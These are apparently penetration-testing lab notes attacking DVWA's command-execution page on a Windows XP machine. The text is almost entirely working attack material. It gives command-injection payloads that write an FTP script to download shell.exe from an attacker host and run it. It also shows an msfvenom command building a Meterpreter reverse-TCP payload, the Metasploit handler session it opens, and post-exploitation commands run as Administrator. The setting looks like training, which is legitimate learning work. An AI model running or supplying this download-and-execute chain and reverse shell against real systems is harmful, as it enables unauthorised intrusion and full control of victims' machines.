download

CMD Inject
To automate downloading a file via FTP
127.0.0.1 && echo binary > script.ftp
127.0.0.1 && echo prompt >> script.ftp
127.0.0.1 && echo get shell.exe>> script.ftp
127.0.0.1 && echo bye >> script.ftp

Batch file to download shell.exe from our server
127.0.0.1 && echo ftp -v -s:script.ftp -A 192.168.234.157 > download.bat
127.0.0.1 && download.bat

List file and execute shell.exe
127.0.0.1 && dir
127.0.0.1 && shell.exe

Start Ftp server Linux
root@kali:~/pwn/winxp# python -m pyftpdlib -p 21

Create payload

```
root@kali:~/pwn/winxp# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.234.157 lport=80 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
```

Reverse shell started

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf5 exploit(multi/handler) > set lport 80
lport => 80
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.234.157:80
[*] Sending stage (179779 bytes) to 192.168.234.128
[*] Meterpreter session 1 opened (192.168.234.157:80 -> 192.168.234.128:1257) at 2019-09-24 00:29:56 -0400

meterpreter >
```

Meterpreter command

```
meterpreter > getuid
Server username: HACKINOS\Administrator
meterpreter > sysinfo
Computer        : HACKINOS
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >
```

Getting into cmd

```
meterpreter > shell
Process 740 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\lamp\www\DVWA\vulnerabilities\exec>
```

Getting username in cmd

```
C:\lamp\www\DVWA\vulnerabilities\exec>echo %username%
echo %username%
Administrator

C:\lamp\www\DVWA\vulnerabilities\exec>
```